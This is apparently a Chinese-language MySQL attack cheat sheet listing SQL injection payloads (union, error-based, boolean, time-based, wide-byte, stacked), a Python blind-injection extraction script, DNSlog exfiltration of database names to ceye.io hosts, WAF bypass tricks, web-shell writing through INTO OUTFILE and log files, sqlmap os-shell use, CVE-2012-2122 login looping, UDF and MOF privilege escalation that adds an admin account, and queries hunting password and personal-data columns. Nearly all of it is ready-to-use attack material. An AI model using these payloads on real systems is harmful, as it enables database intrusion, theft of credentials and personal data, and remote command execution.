相关函数:
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL 数据库版本
load_file() MYSQL 读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统

多条数据显示函数:
concat()
group_concat()
concat_ws()

手工注入测试流程

id=1id=1’–+
测试注入点

1 order by 2#
?id=2 union select 1,2,3 –+
1 union select 1,database()#

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()# 从所有的表里边找到这个库名里不重复的表名

1 union select1, group_concat(column_name) from information_schema.columns where table_name=’表名’ # 从所有的列名里边找到这个表名里不重复的列名

user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

常规注入

(Select schema _name from information_schema.schemata limit 0,1)

?id=-1’union select 1,2,(select group_concat(username,0x7e,password) from security.users) –+

?id=’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) –+

?id=-1’ union select 1,2, (select group_concat(column_name) from information_schema.columns where table_name=’referers’ ) –+

如果不能一次爆完全部,就使用 limit,其中第一个数字 0 代表第一个表、列;1 就是第二个
(select table_name from information_schema.tables where table_schema=database() limit 0,1)

报错语句

Group by concat floor,(这个语句不适合爆密码),floor()函数会影响 md5 值
and (select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2)))–+

extractvalue
and extractvalue(1,concat(0x7e,(select user()),0x7e))–+

updatexml 常用
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)–+

复杂语句报错注入 偶尔能用上

1
and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema='hebjy1028' limit 0,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b)#

延时注入

思路是一样的(判断是否注入点 → 判断字符长度 → 内容逐个逐个爆破)
可以用 python 自动化脚本运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import time

headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''
global length
for l in range(1,20):
Url = 'http://192.168.10.128/sqli-labs-master/Less-6/?id=1" and if(length(database())>{0},1,sleep(3))--+'
UrlFormat = Url.format(l) #format()函数使用
start_time0 = time.time() #发送请求前的时间赋值
requests.get(UrlFormat,headers=headers)
if time.time() - start_time0 > 2: #判断正确的数据库长度
print('database length is ' + str(l))
global length
length = l #把数据库长度赋值给全局变量
break
else:
pass
for i in range(1,length+1):
for char in chars:
charAscii = ord(char) #char转换为ascii
url = 'http://192.168.10.128/sqli-labs-master/Less-6/?id=1" and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'
urlformat = url.format(i,charAscii)
start_time = time.time()
requests.get(urlformat,headers=headers)
if time.time() - start_time > 2:
database+=char
print('database: ',database)
break
else:
pass
print('database is ' + database)

也可以用 burp 去爆破
判断长度
/?id=1’and if(length(database())=8,sleep(10),1)–+

再判断字符(ascii 判断)
?id=1” and if(ascii(substr(database(),1,1))>115,1,sleep(3))–+

(left 语句判断)
?id=1’ and if(left(database(),1)=’s’,sleep(10),1) –+
?id=1’ and if(left(database(),2)=’sa’,sleep(10),1) –+

Substring 函数判断
type=if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1=’a’),11111,sleep(1))–+

布尔注入

Left 判断
?id=1’ and left(database(),1)=’s’ –+
?id=1’ and left(database(),2) > ‘sa’ –+

Like 语句判断
?id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like ‘e%’–+

Ascii 语句判断
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115–+

宽字节注入

前提 1 使用了 addslashes()函数
2 数据库设置了编码模式为 GBK

原理:前端输入 %df 时,首先经过 addslashes()转义变成 %df%5c%27,之后,在数据库查询前,因为设置了 GBK 编码,GBK 编码在汉字编码范围内的两个字节都会重新编码成一个汉字。然后 mysql 服务器会对查询的语句进行 GBK 编码,%df%5c 编码成了“运“,而单引号逃逸了出来,形成了注入漏洞

%df’ and 1=2 –+

搜索框注入

实战经常碰到过
Sql 数据库语句:SELECT*from sqltest where names like ‘% 要查询的关键字 %’
可构造 payload 欧锋 %’ and 1=1 and ‘%1’=’%1
欧锋 %’ and 1=2 –+
欧锋 %’ and 1=1 and ‘%

堆叠注入

id=1;insert into users(id,username,password) values(‘100’,’new’,’new’);

DNSlog

1
2
3
4
5
?id=1' and if((select load_file(concat('\\\\',(select database()),'.hq87c4.ceye.io\\abc'))),1,0)--+

/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'. hq87c4.ceye.io\\abc'))),1,1)--+

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(user())),'.mysql.ip.port.ukg4ig.ceye.io\\abc'));

Mysql 注入 bypass

常规

1
2
3
4
5
6
7
1./**/代替空格 例如:union/**/select
2.等价替换:and -> &、%26 or -> ||
3.Mysql 中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0
4.通过组合测试,可以发现 union%0a/!12345select/ 1,2 可以绕过防御。
5.Union/*adadad*/select 空格替换成垃圾字符干扰例如:/*asdw¥%*/ 特殊函数替换干扰 xx()替换为 xx/*something*/()
6.尝试 get 改 post
7.参数污染,如?id=1 后再添加参加参数如 ?id=1&id=2

分块传输

原理:Chunk 分块传输方法是一种有效的绕过 WAF 的 Web 攻击手段。其原理是利用 Transfer-Encoding: chunked 这个 HTTP 请求头,当 HTTP 请求中含有这个请求头时,则传输的数据全部可进行分块编码

GetShell

into oufile 写 shell

  • 知道网站物理路径

  • 高权限数据库用户(root)

  • secure_file_priv 无限制

  • 网站路径有写入权限

查询是否 secure_file_priv 没有限制

1
2
3
4
5
6
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1
select @@secure_file_priv
Value 说明
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

写shell

1
select '<?php phpinfo(); ?>' into outfile '/var/www/html/1.php';
1
select 1 into outfile 'F:/7788/evil.php' lines terminated by 0x3C3F70687020406576616C28245F504F53545B2767275D293B3F3E0D0A;

sqlmap写shell

1
sqlmap -u "http://baidu.com/?id=x" --file-write="D:\note\PentestDB\shell.php" --file-dest="/var/www/html/test/shell.php"

sqlmap获取os-shell

1
sqlmap -u "http://x.x.x.x/?id=x" --os-shell

tips:除了outfile还有一个dumpfile 可以用来导出文件,dumpfile用来导出二进制文件(outfile会在行尾加\n)。

读文件

受secure_file_priv影响

1
2
CREATE TABLE test(FIELDS VARCHAR(1000))
load data infile "/proc/self/cmdline" into table test FIELDS TERMINATED BY '\n';

日志写shell

  • 知道网站物理路径

  • 高权限数据库用户(root)

  • 网站路径有写入权限

1
2
3
4
5
6
7
mysql> SHOW VARIABLES LIKE '%general%';
+------------------+---------------------------------+
| Variable_name | Value |
+------------------+---------------------------------+
| general_log | OFF |
| general_log_file | /var/lib/mysql/c1595d3a029a.log |
+------------------+---------------------------------+
1
2
3
select @@general_log

select @@general_log_file
1
2
3
4
5
6
#开启日志记录
set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';

#往日志里面写入 payload
select '<?php phpinfo();?>';

慢日志写shell

  • 知道网站物理路径

  • 高权限数据库用户(root)

  • 网站路径有写入权限

1
2
3
4
5
6
7
mysql> SHOW VARIABLES LIKE '%slow_query_log%';
+------------------+---------------------------------+
| Variable_name | Value |
+------------------+---------------------------------+
| slow_query_log | OFF |
| slow_query_log_file | /var/lib/mysql/c1595029a.log |
+------------------+---------------------------------+
1
2
3
4
5
6
#开启日志记录
set global slow_query_log = "ON";
set global slow_query_log_file='/var/www/html/info.php';

#往日志里面写入 payload
select '<?php phpinfo();?>' or sleep(10)

Vuln

yaSSL 缓冲区溢出

Linux : MySQL 5.0.45-Debian_1ubuntu3.1-log

Windows : MySQL 5.0.45-community-nt

1
2
msf6 > use exploit/windows/mysql/mysql_yassl_hello
msf6 > use exploit/linux/mysql/mysql_yassl_hello

authbypass身份认证绕过

  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.

  • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

CVE-2012-2122

知道用户名多次输入错误的密码会有几率可以直接成功登陆进数据库,可以循环 1000 次登陆数据库:

1
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done

msf dump hash

1
2
3
msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf6 > set rhosts 127.0.0.1
msf6 > run

提权

UDF提权

udf动态链接库文件获取

1
sqlmap/data/udf/mysql

sqlmap的库需要用自带的解码工具/extra/cloak/cloak.py 来解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 查看当前目录情况
pwd
/Users/guang/Documents/X1ct34m/sqlmap/1.4.6/extra/cloak

# 解码 32 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so

# 解码 64 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so

# 解码 32 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

# 解码 64 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

msf的可以直接使用

1
MSF 根目录/embedded/framework/data/exploits/mysql

tips:可用ida查看有哪些函数

该udf.dll导出的路径因MySQL版本不同而不同:

  • 如果MySQL<5.1,udf.dll动态链接文件需要导出的路径为:
    Windows2003:c:\windows\system32
    Windows2000:c:\winnt\system32。

  • 如果MySQL>=5.1,必须要把udf.dll动态链接文件导出到MySQL的安装目录\lib\plugin目录

获取plugin路径

1
2
3
4
5
6
mysql> show variables like '%plugin%';
+---------------+------------------------------+
| Variable_name | Value |
+---------------+------------------------------+
| plugin_dir | /usr/local/mysql/lib/plugin/ |
+---------------+------------------------------+
1
select @@plugin_dir

获取mysql版本,确定 udf位数

1
show variables like "%version%";

tips:windows系统如果目录不存在可以尝试使用NTFS流创建:

1
2
select 'x' into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib::$INDEX_ALLOCATION';
select 'x' into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/::$INDEX_ALLOCATION';
1
2
3
4
5
6
7
# 获取so十六进制
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

# 解码十六进制再写入多此一举
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

创建表写入

1
2
3
create table my_udf_data(data LONGBLOB);
set @my_udf_a=concat('',dll的16进制);
insert into my_udf_data values("");update my_udf_data set data = @my_udf_a;

创建函数执行命令

1
2
3
4
5
6
7
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

select * from mysql.func;

select sys_eval('whoami');

drop function sys_eval;

mof提权

MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。

准备好mof文件,然后udf老套路导出即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pace("\.rootsubscription")

instance of **EventFilter as $EventFilter{ EventNamespace = "RootCimv2"; Name = "filtP2"; Query = "Select * From **InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")";
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

Other

1
select load_file('/var/lib/mysql-files/key.txt'); #Read file

利用恶意mysql服务,读客户端文件

https://github.com/allyshka/Rogue-MySql-Server

注意某些lnmp的探针

可用的udf hex

https://www.sqlsec.com/tools/udf.html

xx库中所有字段名带 pass|pwd 的表

1
select distinct table_name from information_schema.columns where table_schema="xx" and column_name like "%pass%" or column_name like "%pwd%"

sqlmap 参数–-search也可以

xx 库中所有字段名带个人信息的表

1
select distinct table_name from information_schema.columns where table_schema="xx" and column_name regexp "name|phone|mobile|certificate|number|email|addr|card|电话|地址|身份证|姓名"

配合phpMyAdmin

phpMyAdmin4.8.1文件包含

  • 包含mysql数据文件

  • 通过写文件到tmp目录下,进行包含(tmp/2.php)

  • phpMyAdmin找绝对路径

    • 全局变量里面搜索log,通过路径推测。
    • 通过日志文件路径、mysqldata文件路径、安装路径推测
    • 判断中间件类型猜测

相关路径查询

1
2
show variables like '%plugin%'
show global variables like "%datadir%";

写到tmp目录下进行包含

1
2
3
4
select '<?php eval($_POST[1])?>' into outfile '/tmp/2.php';
https://www.baidu.com/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/3.php

带cookie链接即可